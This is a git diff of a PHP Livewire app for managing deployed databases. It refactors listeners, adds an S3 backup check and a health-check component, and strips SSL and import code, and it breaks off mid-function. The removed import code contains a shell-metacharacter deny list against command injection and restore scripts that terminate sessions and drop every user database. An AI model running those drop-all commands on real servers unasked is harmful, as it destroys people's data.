$customDockerRunOptions = null; - public ?string $dbUrl = null; - - public ?string $dbUrlPublic = null; - public bool $isLogDrainEnabled = false; - public function getListeners() + public function getListeners(): array { - $teamId = Auth::user()->currentTeam()->id; + $user = Auth::user(); + if (! $user) { + return []; + } + $team = $user->currentTeam(); + if (! $team) { + return []; + } return [ - "echo-private:team.{$teamId},DatabaseProxyStopped" => 'databaseProxyStopped', + "echo-private:team.{$team->id},DatabaseProxyStopped" => 'databaseProxyStopped', ]; } @@ -88,8 +91,6 @@ protected function rules(): array 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'customDockerRunOptions' => 'nullable|string', - 'dbUrl' => 'nullable|string', - 'dbUrlPublic' => 'nullable|string', 'isLogDrainEnabled' => 'nullable|boolean', ]; } @@ -129,9 +130,6 @@ public function syncData(bool $toModel = false) $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->save(); - - $this->dbUrl = $this->database->internal_db_url; - $this->dbUrlPublic = $this->database->external_db_url; } else { $this->name = $this->database->name; $this->description = $this->database->description; @@ -144,8 +142,6 @@ public function syncData(bool $toModel = false) $this->publicPortTimeout = $this->database->public_port_timeout; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; - $this->dbUrl = $this->database->internal_db_url; - $this->dbUrlPublic = $this->database->external_db_url; } } @@ -194,6 +190,7 @@ public function instantSave() StopDatabaseProxy::run($this->database); $this->dispatch('success', 'Database is no longer publicly accessible.'); } + $this->dispatch('databaseUpdated'); } catch (\Throwable $e) { $this->isPublic = ! $this->isPublic; $this->syncData(true); @@ -202,9 +199,13 @@ public function instantSave() } } - public function databaseProxyStopped() + public function databaseProxyStopped(): void { - $this->syncData(); + $this->database->refresh(); + $this->isPublic = $this->database->is_public; + $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; + $this->dispatch('databaseUpdated'); } public function submit() @@ -220,6 +221,7 @@ public function submit() } $this->syncData(true); $this->dispatch('success', 'Database updated.'); + $this->dispatch('databaseUpdated'); } catch (Exception $e) { return handleError($e, $this); } finally { diff --git a/app/Livewire/Project/Database/Clickhouse/StatusInfo.php b/app/Livewire/Project/Database/Clickhouse/StatusInfo.php new file mode 100644 index 000000000..51a3192fa --- /dev/null +++ b/app/Livewire/Project/Database/Clickhouse/StatusInfo.php @@ -0,0 +1,31 @@ +currentTeam()->id; - - return [ - "echo-private:team.{$teamId},ServiceChecked" => '$refresh', - ]; - } - public function mount() { try { @@ -55,10 +47,10 @@ public function mount() $this->dispatch('configurationChanged'); } } catch (\Throwable $e) { - if ($e instanceof \Illuminate\Auth\Access\AuthorizationException) { + if ($e instanceof AuthorizationException) { return redirect()->route('dashboard'); } - if ($e instanceof \Illuminate\Support\ItemNotFoundException) { + if ($e instanceof ItemNotFoundException) { return redirect()->route('dashboard'); } diff --git a/app/Livewire/Project/Database/CreateScheduledBackup.php b/app/Livewire/Project/Database/CreateScheduledBackup.php index 7f807afe2..7384adcff 100644 --- a/app/Livewire/Project/Database/CreateScheduledBackup.php +++ b/app/Livewire/Project/Database/CreateScheduledBackup.php @@ -2,7 +2,9 @@ namespace App\Livewire\Project\Database; +use App\Models\S3Storage; use App\Models\ScheduledDatabaseBackup; +use App\Models\ServiceDatabase; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Collection; use Livewire\Attributes\Locked; @@ -48,6 +50,20 @@ public function submit() $this->validate(); + if ($this->saveToS3) { + $s3StorageExists = ! is_null($this->s3StorageId) + && S3Storage::where('team_id', currentTeam()->id) + ->where('is_usable', true) + ->whereKey($this->s3StorageId) + ->exists(); + + if (! $s3StorageExists) { + $this->dispatch('error', 'Please select a valid S3 storage to enable S3 backups.'); + + return; + } + } + $isValid = validate_cron_expression($this->frequency); if (! $isValid) { $this->dispatch('error', 'Invalid Cron / Human expression.'); @@ -74,7 +90,7 @@ public function submit() } $databaseBackup = ScheduledDatabaseBackup::create($payload); - if ($this->database->getMorphClass() === \App\Models\ServiceDatabase::class) { + if ($this->database->getMorphClass() === ServiceDatabase::class) { $this->dispatch('refreshScheduledBackups', $databaseBackup->id); } else { $this->dispatch('refreshScheduledBackups'); diff --git a/app/Livewire/Project/Database/Dragonfly/General.php b/app/Livewire/Project/Database/Dragonfly/General.php index 9e1ea0d10..f196b9dfb 100644 --- a/app/Livewire/Project/Database/Dragonfly/General.php +++ b/app/Livewire/Project/Database/Dragonfly/General.php @@ -4,11 +4,9 @@ use App\Actions\Database\StartDatabaseProxy; use App\Actions\Database\StopDatabaseProxy; -use App\Helpers\SslHelper; use App\Models\Server; use App\Models\StandaloneDragonfly; use App\Support\ValidationPatterns; -use Carbon\Carbon; use Exception; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\Auth; @@ -40,25 +38,21 @@ class General extends Component public ?string $customDockerRunOptions = null; - public ?string $dbUrl = null; - - public ?string $dbUrlPublic = null; - public bool $isLogDrainEnabled = false; - public ?Carbon $certificateValidUntil = null; - - public bool $enable_ssl = false; - - public function getListeners() + public function getListeners(): array { - $userId = Auth::id(); - $teamId = Auth::user()->currentTeam()->id; + $user = Auth::user(); + if (! $user) { + return []; + } + $team = $user->currentTeam(); + if (! $team) { + return []; + } return [ - "echo-private:team.{$teamId},DatabaseProxyStopped" => 'databaseProxyStopped', - "echo-private:user.{$userId},DatabaseStatusChanged" => 'refresh', - "echo-private:team.{$teamId},ServiceChecked" => 'refresh', + "echo-private:team.{$team->id},DatabaseProxyStopped" => 'databaseProxyStopped', ]; } @@ -73,12 +67,6 @@ public function mount() return; } - - $existingCert = $this->database->sslCertificates()->first(); - - if ($existingCert) { - $this->certificateValidUntil = $existingCert->valid_until; - } } catch (\Throwable $e) { return handleError($e, $this); } @@ -98,10 +86,7 @@ protected function rules(): array 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'customDockerRunOptions' => 'nullable|string', - 'dbUrl' => 'nullable|string', - 'dbUrlPublic' => 'nullable|string', 'isLogDrainEnabled' => 'nullable|boolean', - 'enable_ssl' => 'nullable|boolean', ]; } @@ -137,11 +122,7 @@ public function syncData(bool $toModel = false) $this->database->public_port_timeout = $this->publicPortTimeout ?: null; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; - $this->database->enable_ssl = $this->enable_ssl; $this->database->save(); - - $this->dbUrl = $this->database->internal_db_url; - $this->dbUrlPublic = $this->database->external_db_url; } else { $this->name = $this->database->name; $this->description = $this->database->description; @@ -153,9 +134,6 @@ public function syncData(bool $toModel = false) $this->publicPortTimeout = $this->database->public_port_timeout; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; - $this->enable_ssl = $this->database->enable_ssl; - $this->dbUrl = $this->database->internal_db_url; - $this->dbUrlPublic = $this->database->external_db_url; } } @@ -204,6 +182,7 @@ public function instantSave() StopDatabaseProxy::run($this->database); $this->dispatch('success', 'Database is no longer publicly accessible.'); } + $this->dispatch('databaseUpdated'); } catch (\Throwable $e) { $this->isPublic = ! $this->isPublic; $this->syncData(true); @@ -212,9 +191,13 @@ public function instantSave() } } - public function databaseProxyStopped() + public function databaseProxyStopped(): void { - $this->syncData(); + $this->database->refresh(); + $this->isPublic = $this->database->is_public; + $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; + $this->dispatch('databaseUpdated'); } public function submit() @@ -230,6 +213,7 @@ public function submit() } $this->syncData(true); $this->dispatch('success', 'Database updated.'); + $this->dispatch('databaseUpdated'); } catch (Exception $e) { return handleError($e, $this); } finally { @@ -241,67 +225,6 @@ public function submit() } } - public function instantSaveSSL() - { - try { - $this->authorize('update', $this->database); - - $this->syncData(true); - $this->dispatch('success', 'SSL configuration updated.'); - } catch (Exception $e) { - return handleError($e, $this); - } - } - - public function regenerateSslCertificate() - { - try { - $this->authorize('update', $this->database); - - $existingCert = $this->database->sslCertificates()->first(); - - if (! $existingCert) { - $this->dispatch('error', 'No existing SSL certificate found for this database.'); - - return; - } - - $server = $this->database->destination->server; - - $caCert = $server->sslCertificates() - ->where('is_ca_certificate', true) - ->first(); - - if (! $caCert) { - $server->generateCaCertificate(); - $caCert = $server->sslCertificates()->where('is_ca_certificate', true)->first(); - } - - if (! $caCert) { - $this->dispatch('error', 'No CA certificate found for this database. Please generate a CA certificate for this server in the server/advanced page.'); - - return; - } - - SslHelper::generateSslCertificate( - commonName: $existingCert->common_name, - subjectAlternativeNames: $existingCert->subject_alternative_names ?? [], - resourceType: $existingCert->resource_type, - resourceId: $existingCert->resource_id, - serverId: $existingCert->server_id, - caCert: $caCert->ssl_certificate, - caKey: $caCert->ssl_private_key, - configurationDir: $existingCert->configuration_dir, - mountPath: $existingCert->mount_path, - isPemKeyFileRequired: true, - ); - - $this->dispatch('success', 'SSL certificates regenerated. Restart database to apply changes.'); - } catch (Exception $e) { - handleError($e, $this); - } - } - public function refresh(): void { $this->database->refresh(); diff --git a/app/Livewire/Project/Database/Dragonfly/StatusInfo.php b/app/Livewire/Project/Database/Dragonfly/StatusInfo.php new file mode 100644 index 000000000..baeb3d09f --- /dev/null +++ b/app/Livewire/Project/Database/Dragonfly/StatusInfo.php @@ -0,0 +1,26 @@ +authorize('view', $this->database); + $this->syncData(); + } + + public function syncData(bool $toModel = false): void + { + if ($toModel) { + $this->validate(); + $this->database->health_check_enabled = $this->healthCheckEnabled; + $this->database->health_check_interval = $this->healthCheckInterval; + $this->database->health_check_timeout = $this->healthCheckTimeout; + $this->database->health_check_retries = $this->healthCheckRetries; + $this->database->health_check_start_period = $this->healthCheckStartPeriod; + $this->database->save(); + } else { + $this->healthCheckEnabled = $this->database->health_check_enabled; + $this->healthCheckInterval = $this->database->health_check_interval; + $this->healthCheckTimeout = $this->database->health_check_timeout; + $this->healthCheckRetries = $this->database->health_check_retries; + $this->healthCheckStartPeriod = $this->database->health_check_start_period; + } + } + + public function instantSave(): void + { + $this->submit(); + } + + public function submit(): void + { + $updateSuccessful = false; + + try { + $this->authorize('update', $this->database); + $this->syncData(true); + $updateSuccessful = true; + $this->dispatch('success', 'Health check updated. Restart the database to apply the changes.'); + } catch (\Throwable $e) { + handleError($e, $this); + } + + if (! $updateSuccessful) { + return; + } + + $this->markConfigurationChanged(); + } + + public function toggleHealthcheck(): void + { + $updateSuccessful = false; + + try { + $this->authorize('update', $this->database); + $this->healthCheckEnabled = ! $this->healthCheckEnabled; + $this->syncData(true); + $updateSuccessful = true; + $this->dispatch('success', 'Health check '.($this->healthCheckEnabled ? 'enabled' : 'disabled').'. Restart the database to apply the changes.'); + } catch (\Throwable $e) { + handleError($e, $this); + } + + if (! $updateSuccessful) { + return; + } + + $this->markConfigurationChanged(); + } + + private function markConfigurationChanged(): void + { + if (is_null($this->database->config_hash)) { + $this->database->isConfigurationChanged(true); + + return; + } + + $this->dispatch('configurationChanged'); + } + + public function render(): View + { + return view('livewire.project.database.health'); + } +} diff --git a/app/Livewire/Project/Database/Import.php b/app/Livewire/Project/Database/Import.php index 0fddce274..ea04658cf 100644 --- a/app/Livewire/Project/Database/Import.php +++ b/app/Livewire/Project/Database/Import.php @@ -2,23 +2,14 @@ namespace App\Livewire\Project\Database; -use App\Models\S3Storage; -use App\Models\Server; -use App\Models\Service; use App\Models\ServiceDatabase; use App\Models\StandaloneClickhouse; use App\Models\StandaloneDragonfly; use App\Models\StandaloneKeydb; -use App\Models\StandaloneMariadb; -use App\Models\StandaloneMongodb; -use App\Models\StandaloneMysql; -use App\Models\StandalonePostgresql; use App\Models\StandaloneRedis; -use App\Support\ValidationPatterns; +use Illuminate\Contracts\View\View; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\Auth; -use Illuminate\Support\Facades\Storage; -use Livewire\Attributes\Computed; use Livewire\Attributes\Locked; use Livewire\Component; @@ -26,803 +17,134 @@ class Import extends Component { use AuthorizesRequests; - /** - * Validate that a string is safe for use as an S3 bucket name. - * Allows alphanumerics, dots, dashes, and underscores. - */ - private function validateBucketName(string $bucket): bool - { - return preg_match('/^[a-zA-Z0-9.\-_]+$/', $bucket) === 1; - } - - /** - * Validate that a string is safe for use as an S3 path. - * Allows alphanumerics, dots, dashes, underscores, slashes, and common file characters. - */ - private function validateS3Path(string $path): bool - { - // Must not be empty - if (empty($path)) { - return false; - } - - // Must not contain dangerous shell metacharacters or command injection patterns - $dangerousPatterns = [ - '..', // Directory traversal - '$(', // Command substitution - '`', // Backtick command substitution - '|', // Pipe - ';', // Command separator - '&', // Background/AND - '>', // Redirect - '<', // Redirect - "\n", // Newline - "\r", // Carriage return - "\0", // Null byte - "'", // Single quote - '"', // Double quote - '\\', // Backslash - ]; - - foreach ($dangerousPatterns as $pattern) { - if (str_contains($path, $pattern)) { - return false; - } - } - - // Allow alphanumerics, dots, dashes, underscores, slashes, spaces, plus, equals, at - return preg_match('/^[a-zA-Z0-9.\-_\/\s+@=]+$/', $path) === 1; - } - - /** - * Validate that a string is safe for use as a file path on the server. - */ - private function validateServerPath(string $path): bool - { - // Must be an absolute path - if (! str_starts_with($path, '/')) { - return false; - } - - // Must not contain dangerous shell metacharacters or command injection patterns - $dangerousPatterns = [ - '..', // Directory traversal - '$(', // Command substitution - '`', // Backtick command substitution - '|', // Pipe - ';', // Command separator - '&', // Background/AND - '>', // Redirect - '<', // Redirect - "\n", // Newline - "\r", // Carriage return - "\0", // Null byte - "'", // Single quote - '"', // Double quote - '\\', // Backslash - ]; - - foreach ($dangerousPatterns as $pattern) { - if (str_contains($path, $pattern)) { - return false; - } - } - - // Allow alphanumerics, dots, dashes, underscores, slashes, and spaces - return preg_match('/^[a-zA-Z0-9.\-_\/\s]+$/', $path) === 1; - } - - public bool $unsupported = false; - - // Store IDs instead of models for proper Livewire serialization #[Locked] public ?int $resourceId = null; #[Locked] public ?string $resourceType = null; - #[Locked] - public ?int $serverId = null; - - // View-friendly properties to avoid computed property access in Blade - #[Locked] - public string $resourceUuid = ''; - public string $resourceStatus = ''; - #[Locked] - public string $resourceDbType = ''; + public string $resourceUuid = ''; - public array $parameters = []; + public bool $unsupported = false; - public array $containers = []; - - public bool $scpInProgress = false; - - public bool $importRunning = false; - - public ?string $filename = null; - - public ?string $filesize = null; - - public bool $isUploading = false; - - public int $progress = 0; - - public bool $error = false; - - #[Locked] - public string $container; - - public array $importCommands = []; - - public bool $dumpAll = false; - - public string $restoreCommandText = ''; - - public string $customLocation = ''; - - public ?int $activityId = null; - - public string $postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d ${POSTGRES_DB:-${POSTGRES_USER:-postgres}}'; - - public string $mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE'; - - public string $mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE'; - - public string $mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive='; - - // S3 Restore properties - public array $availableS3Storages = []; - - public ?int $s3StorageId = null; - - public string $s3Path = ''; - - public ?int $s3FileSize = null; - - #[Computed] - public function resource() + public function getListeners(): array { - if ($this->resourceId === null || $this->resourceType === null) { - return null; + $listeners = ['databaseUpdated' => 'refreshStatus']; + + $user = Auth::user(); + if (! $user) { + return $listeners; } - return $this->resourceType::find($this->resourceId); - } + $listeners["echo-private:user.{$user->id},DatabaseStatusChanged"] = 'refreshStatus'; - #[Computed] - public function server() - { - if ($this->serverId === null) { - return null; + $team = $user->currentTeam(); + if ($team) { + $listeners["echo-private:team.{$team->id},ServiceChecked"] = 'refreshStatus'; } - return Server::ownedByCurrentTeam()->find($this->serverId); + return $listeners; } - public function getListeners() + public function mount(): void { - $userId = Auth::id(); - - return [ - "echo-private:user.{$userId},DatabaseStatusChanged" => '$refresh', - 'slideOverClosed' => 'resetActivityId', - ]; - } - - public function resetActivityId() - { - $this->activityId = null; - } - - public function mount() - { - $this->parameters = get_route_parameters(); - $this->getContainers(); - $this->loadAvailableS3Storages(); - } - - public function updatedDumpAll($value) - { - $morphClass = $this->resource->getMorphClass(); - - // Handle ServiceDatabase by checking the database type - if ($morphClass === ServiceDatabase::class) { - $dbType = $this->resource->databaseType(); - if (str_contains($dbType, 'mysql')) { - $morphClass = 'mysql'; - } elseif (str_contains($dbType, 'mariadb')) { - $morphClass = 'mariadb'; - } elseif (str_contains($dbType, 'postgres')) { - $morphClass = 'postgresql'; - } - } - - switch ($morphClass) { - case StandaloneMariadb::class: - case 'mariadb': - if ($value === true) { - $this->mariadbRestoreCommand = <<<'EOD' -for pid in $(mariadb -u root -p$MARIADB_ROOT_PASSWORD -N -e "SELECT id FROM information_schema.processlist WHERE user != 'root';"); do - mariadb -u root -p$MARIADB_ROOT_PASSWORD -e "KILL $pid" 2>/dev/null || true -done && \ -mariadb -u root -p$MARIADB_ROOT_PASSWORD -N -e "SELECT CONCAT('DROP DATABASE IF EXISTS \`',schema_name,'\`;') FROM information_schema.schemata WHERE schema_name NOT IN ('information_schema','mysql','performance_schema','sys');" | mariadb -u root -p$MARIADB_ROOT_PASSWORD && \ -mariadb -u root -p$MARIADB_ROOT_PASSWORD -e "CREATE DATABASE IF NOT EXISTS \`${MARIADB_DATABASE:-default}\`;" && \ -(gunzip -cf $tmpPath 2>/dev/null || cat $tmpPath) | sed -e '/^CREATE DATABASE/d' -e '/^USE \`mysql\`/d' | mariadb -u root -p$MARIADB_ROOT_PASSWORD ${MARIADB_DATABASE:-default} -EOD; - $this->restoreCommandText = $this->mariadbRestoreCommand.' && (gunzip -cf 2>/dev/null || cat ) | mariadb -u root -p$MARIADB_ROOT_PASSWORD ${MARIADB_DATABASE:-default}'; - } else { - $this->mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE'; - } - break; - case StandaloneMysql::class: - case 'mysql': - if ($value === true) { - $this->mysqlRestoreCommand = <<<'EOD' -for pid in $(mysql -u root -p$MYSQL_ROOT_PASSWORD -N -e "SELECT id FROM information_schema.processlist WHERE user != 'root';"); do - mysql -u root -p$MYSQL_ROOT_PASSWORD -e "KILL $pid" 2>/dev/null || true -done && \ -mysql -u root -p$MYSQL_ROOT_PASSWORD -N -e "SELECT CONCAT('DROP DATABASE IF EXISTS \`',schema_name,'\`;') FROM information_schema.schemata WHERE schema_name NOT IN ('information_schema','mysql','performance_schema','sys');" | mysql -u root -p$MYSQL_ROOT_PASSWORD && \ -mysql -u root -p$MYSQL_ROOT_PASSWORD -e "CREATE DATABASE IF NOT EXISTS \`${MYSQL_DATABASE:-default}\`;" && \ -(gunzip -cf $tmpPath 2>/dev/null || cat $tmpPath) | sed -e '/^CREATE DATABASE/d' -e '/^USE \`mysql\`/d' | mysql -u root -p$MYSQL_ROOT_PASSWORD ${MYSQL_DATABASE:-default} -EOD; - $this->restoreCommandText = $this->mysqlRestoreCommand.' && (gunzip -cf 2>/dev/null || cat ) | mysql -u root -p$MYSQL_ROOT_PASSWORD ${MYSQL_DATABASE:-default}'; - } else { - $this->mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE'; - } - break; - case StandalonePostgresql::class: - case 'postgresql': - if ($value === true) { - $this->postgresqlRestoreCommand = <<<'EOD' -psql -U ${POSTGRES_USER} -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" && \ -psql -U ${POSTGRES_USER} -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U ${POSTGRES_USER} --if-exists {} && \ -createdb -U ${POSTGRES_USER} ${POSTGRES_DB:-${POSTGRES_USER:-postgres}} -EOD; - $this->restoreCommandText = $this->postgresqlRestoreCommand.' && (gunzip -cf 2>/dev/null || cat ) | psql -U ${POSTGRES_USER} -d ${POSTGRES_DB:-${POSTGRES_USER:-postgres}}'; - } else { - $this->postgresqlRestoreCommand = 'pg_restore -U ${POSTGRES_USER} -d ${POSTGRES_DB:-${POSTGRES_USER:-postgres}}'; - } - break; - } - - } - - public function getContainers() - { - $this->containers = []; - $teamId = data_get(auth()->user()->currentTeam(), 'id'); - - // Try to find resource by route parameter - $databaseUuid = data_get($this->parameters, 'database_uuid'); - $stackServiceUuid = data_get($this->parameters, 'stack_service_uuid'); - - $resource = null; - if ($databaseUuid) { - // Standalone database route - $resource = getResourceByUuid($databaseUuid, $teamId); - if (is_null($resource)) { - abort(404); - } - } elseif ($stackServiceUuid) { - // ServiceDatabase route - look up the service database - $serviceUuid = data_get($this->parameters, 'service_uuid'); - $project = currentTeam() - ->projects() - ->select('id', 'uuid', 'team_id') - ->where('uuid', data_get($this->parameters, 'project_uuid')) - ->firstOrFail(); - $environment = $project->environments() - ->select('id', 'uuid', 'name', 'project_id') - ->where('uuid', data_get($this->parameters, 'environment_uuid')) - ->firstOrFail(); - $service = $environment->services()->whereUuid($serviceUuid)->firstOrFail(); - $resource = $service->databases()->whereUuid($stackServiceUuid)->first(); - if (is_null($resource)) { - abort(404); - } - } else { - abort(404); - } - + $resource = $this->resolveResourceFromRoute(); $this->authorize('view', $resource); - // Store IDs for Livewire serialization $this->resourceId = $resource->id; $this->resourceType = get_class($resource); - // Store view-friendly properties + $this->refreshStatus(); + } + + public function refreshStatus(): void + { + $resource = $this->resolveStoredResource(); + $this->authorize('view', $resource); + + $resource->refresh(); + $this->resourceUuid = $resource->uuid; $this->resourceStatus = $resource->status ?? ''; + $this->unsupported = $this->isUnsupportedResource($resource); + } - // Handle ServiceDatabase server access differently - if ($resource->getMorphClass() === ServiceDatabase::class) { - $server = $resource->service?->server; - if (! $server) { - abort(404, 'Server not found for this service database.'); - } - $this->serverId = $server->id; - $this->container = $resource->name.'-'.$resource->service->uuid; - $this->resourceUuid = $resource->uuid; // Use ServiceDatabase's own UUID + public function render(): View + { + return view('livewire.project.database.import'); + } - // Determine database type for ServiceDatabase - $dbType = $resource->databaseType(); - if (str_contains($dbType, 'postgres')) { - $this->resourceDbType = 'standalone-postgresql'; - } elseif (str_contains($dbType, 'mysql')) { - $this->resourceDbType = 'standalone-mysql'; - } elseif (str_contains($dbType, 'mariadb')) { - $this->resourceDbType = 'standalone-mariadb'; - } elseif (str_contains($dbType, 'mongo')) { - $this->resourceDbType = 'standalone-mongodb'; - } else { - $this->resourceDbType = $dbType; + private function resolveResourceFromRoute(): object + { + $parameters = get_route_parameters(); + $teamId = data_get(Auth::user()?->currentTeam(), 'id'); + $databaseUuid = data_get($parameters, 'database_uuid'); + $stackServiceUuid = data_get($parameters, 'stack_service_uuid'); + + if ($databaseUuid) { + $resource = getResourceByUuid($databaseUuid, $teamId); + if ($resource) { + return $resource; } - } else { - $server = $resource->destination?->server; - if (! $server) { - abort(404, 'Server not found for this database.'); - } - $this->serverId = $server->id; - $this->container = $resource->uuid; - $this->resourceUuid = $resource->uuid; - $this->resourceDbType = $resource->type(); + + abort(404); } - if (str($resource->status)->startsWith('running')) { - $this->containers[] = $this->container; + if ($stackServiceUuid) { + $project = currentTeam() + ->projects() + ->select('id', 'uuid', 'team_id') + ->where('uuid', data_get($parameters, 'project_uuid')) + ->firstOrFail(); + $environment = $project->environments() + ->select('id', 'uuid', 'name', 'project_id') + ->where('uuid', data_get($parameters, 'environment_uuid')) + ->firstOrFail(); + $service = $environment->services()->whereUuid(data_get($parameters, 'service_uuid'))->firstOrFail(); + $resource = $service->databases()->whereUuid($stackServiceUuid)->first(); + if ($resource) { + return $resource; + } } + abort(404); + } + + private function resolveStoredResource(): object + { + if ($this->resourceId === null || $this->resourceType === null) { + return $this->resolveResourceFromRoute(); + } + + $resource = $this->resourceType::find($this->resourceId); + if ($resource) { + return $resource; + } + + abort(404); + } + + private function isUnsupportedResource(object $resource): bool + { if ( - $resource->getMorphClass() === StandaloneRedis::class || - $resource->getMorphClass() === StandaloneKeydb::class || - $resource->getMorphClass() === StandaloneDragonfly::class || - $resource->getMorphClass() === StandaloneClickhouse::class + $resource instanceof StandaloneRedis || + $resource instanceof StandaloneKeydb || + $resource instanceof StandaloneDragonfly || + $resource instanceof StandaloneClickhouse ) { - $this->unsupported = true; + return true; } - // Mark unsupported ServiceDatabase types (Redis, KeyDB, etc.) - if ($resource->getMorphClass() === ServiceDatabase::class) { + if ($resource instanceof ServiceDatabase) { $dbType = $resource->databaseType(); - if (str_contains($dbType, 'redis') || str_contains($dbType, 'keydb') || - str_contains($dbType, 'dragonfly') || str_contains($dbType, 'clickhouse')) { - $this->unsupported = true; - } - } - } - public function checkFile() - { - if (filled($this->customLocation)) { - // Validate the custom location to prevent command injection - if (! $this->validateServerPath($this->customLocation)) { - $this->dispatch('error', 'Invalid file path. Path must be absolute and contain only safe characters (alphanumerics, dots, dashes, underscores, slashes).'); - - return; - } - - if (! $this->server) { - $this->dispatch('error', 'Server not found. Please refresh the page.'); - - return; - } - - try { - $escapedPath = escapeshellarg($this->customLocation); - $result = instant_remote_process(["ls -l {$escapedPath}"], $this->server, throwError: false); - if (blank($result)) { - $this->dispatch('error', 'The file does not exist or has been deleted.'); - - return; - } - $this->filename = $this->customLocation; - $this->dispatch('success', 'The file exists.'); - } catch (\Throwable $e) { - return handleError($e, $this); - } - } - } - - public function runImport(string $password = ''): bool|string - { - if (! verifyPasswordConfirmation($password, $this)) { - return 'The provided password is incorrect.'; + return str_contains($dbType, 'redis') || + str_contains($dbType, 'keydb') || + str_contains($dbType, 'dragonfly') || + str_contains($dbType, 'clickhouse'); } - $this->authorize('update', $this->resource); - - if (! ValidationPatterns::isValidContainerName($this->container)) { - $this->dispatch('error', 'Invalid container name.'); - - return true; - } - - if ($this->filename === '') { - $this->dispatch('error', 'Please select a file to import.'); - - return true; - } - - if (! $this->server) { - $this->dispatch('error', 'Server not found. Please refresh the page.'); - - return true; - } - - try { - $this->importRunning = true; - $this->importCommands = []; - $backupFileName = "upload/{$this->resourceUuid}/restore"; - - // Check if an uploaded file exists first (takes priority over custom location) - if (Storage::exists($backupFileName)) { - $path = Storage::path($backupFileName); - $tmpPath = '/tmp/'.basename($backupFileName).'_'.$this->resourceUuid; - instant_scp($path, $tmpPath, $this->server); - Storage::delete($backupFileName); - $this->importCommands[] = "docker cp {$tmpPath} {$this->container}:{$tmpPath}"; - } elseif (filled($this->customLocation)) { - // Validate the custom location to prevent command injection - if (! $this->validateServerPath($this->customLocation)) { - $this->dispatch('error', 'Invalid file path. Path must be absolute and contain only safe characters.'); - - return true; - } - $tmpPath = '/tmp/restore_'.$this->resourceUuid; - $escapedCustomLocation = escapeshellarg($this->customLocation); - $this->importCommands[] = "docker cp {$escapedCustomLocation} {$this->container}:{$tmpPath}"; - } else { - $this->dispatch('error', 'The file does not exist or has been deleted.'); - - return true; - } - - // Copy the restore command to a script file - $scriptPath = "/tmp/restore_{$this->resourceUuid}.sh"; - - $restoreCommand = $this->buildRestoreCommand($tmpPath); - - $restoreCommandBase64 = base64_encode($restoreCommand); - $this->importCommands[] = "echo \"{$restoreCommandBase64}\" | base64 -d > {$scriptPath}"; - $this->importCommands[] = "chmod +x {$scriptPath}"; - $this->importCommands[] = "docker cp {$scriptPath} {$this->container}:{$scriptPath}"; - - $this->importCommands[] = "docker exec {$this->container} sh -c '{$scriptPath}'"; - $this->importCommands[] = "docker exec {$this->container} sh -c 'echo \"Import finished with exit code $?\"'"; - - if (! empty($this->importCommands)) { - $activity = remote_process($this->importCommands, $this->server, ignore_errors: true, callEventOnFinish: 'RestoreJobFinished', callEventData: [ - 'scriptPath' => $scriptPath, - 'tmpPath' => $tmpPath, - 'container' => $this->container, - 'serverId' => $this->server->id, - ]); - - // Track the activity ID - $this->activityId = $activity->id; - - // Dispatch activity to the monitor and open slide-over - $this->dispatch('activityMonitor', $activity->id); - $this->dispatch('databaserestore'); - } - } catch (\Throwable $e) { - handleError($e, $this); - - return true; - } finally { - $this->filename = null; - $this->importCommands = []; - } - - return true; - } - - public function loadAvailableS3Storages() - { - try { - $this->availableS3Storages = S3Storage::ownedByCurrentTeam(['id', 'name', 'description']) - ->where('is_usable', true) - ->get() - ->map(fn ($s) => ['id' => $s->id, 'name' => $s->name, 'description' => $s->description]) - ->toArray(); - } catch (\Throwable $e) { - $this->availableS3Storages = []; - } - } - - public function updatedS3Path($value) - { - // Reset validation state when path changes - $this->s3FileSize = null; - - // Ensure path starts with a slash - if ($value !== null && $value !== '') { - $this->s3Path = str($value)->trim()->start('/')->value(); - } - } - - public function updatedS3StorageId() - { - // Reset validation state when storage changes - $this->s3FileSize = null; - } - - public function checkS3File() - { - if (! $this->s3StorageId) { - $this->dispatch('error', 'Please select an S3 storage.'); - - return; - } - - if (blank($this->s3Path)) { - $this->dispatch('error', 'Please provide an S3 path.'); - - return; - } - - // Clean the path (remove leading slash if present) - $cleanPath = ltrim($this->s3Path, '/'); - - // Validate the S3 path early to prevent command injection in subsequent operations - if (! $this->validateS3Path($cleanPath)) { - $this->dispatch('error', 'Invalid S3 path. Path must contain only safe characters (alphanumerics, dots, dashes, underscores, slashes).'); - - return; - } - - try { - $s3Storage = S3Storage::ownedByCurrentTeam()->findOrFail($this->s3StorageId); - - // Validate bucket name early - if (! $this->validateBucketName($s3Storage->bucket)) { - $this->dispatch('error', 'Invalid S3 bucket name. Bucket name must contain only alphanumerics, dots, dashes, and underscores.'); - - return; - } - - // Test connection - 